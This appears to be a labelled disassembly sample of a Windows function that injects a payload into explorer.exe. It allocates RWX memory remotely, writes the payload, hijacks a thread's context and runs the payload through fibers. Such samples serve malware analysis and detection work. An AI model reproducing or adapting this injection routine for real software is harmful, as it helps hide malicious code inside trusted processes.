Function at 0x14001132f
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows fibers
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
jmp 0x1400174e0
push rbp
push rdi
sub rsp, 0x848
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x176
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f340]
xor rax, rbp
mov qword [rbp + 0x808], rax
lea rcx, [0x1400250f8]
call fcn.140011474
nop
mov r8b, 0xbe
mov edx, 0x117
lea rcx, section..data
call fcn.140011497
nop
call fcn.140011429
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x14001756f
lea rdx, str.Failed_to_find_explorer.exe_process
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011096
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov eax, 1
jmp 0x14001783a
mov r8d, dword [rbp + 4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400175b9
lea rdx, str.Failed_to_open_process
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011096
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov eax, 1
jmp 0x14001783a
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x117
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001761d
lea rdx, str.Failed_to_allocate_memory
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011096
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x14001783a
mov qword [rsp + 0x20], 0
mov r9d, 0x117
lea r8, section..data
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140017696
lea rdx, str.Failed_to_write_memory
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011096
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x14001783a
mov ecx, dword [rbp + 4]
call fcn.140011172
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x1400176f8
lea rdx, str.Failed_to_find_thread
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011096
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x14001783a
mov r8d, dword [rbp + 0x64]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x14001776b
lea rdx, str.Failed_to_open_thread
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011096
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x14001783a
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
nop
mov dword [rbp + 0xe0], 0x10000b
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
nop
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x1a8], rax
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov qword [rbp + 0x598], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov qword [rbp + 0x5b8], rax
mov rcx, qword [rbp + 0x5b8]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
nop
mov rcx, qword [rbp + 0x5b8]
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bd00]
call fcn.1400113e8
mov rax, rdi
mov rcx, qword [rbp + 0x808]
xor rcx, rbp
call fcn.140011235
lea rsp, [rbp + 0x818]
pop rdi
pop rbp
ret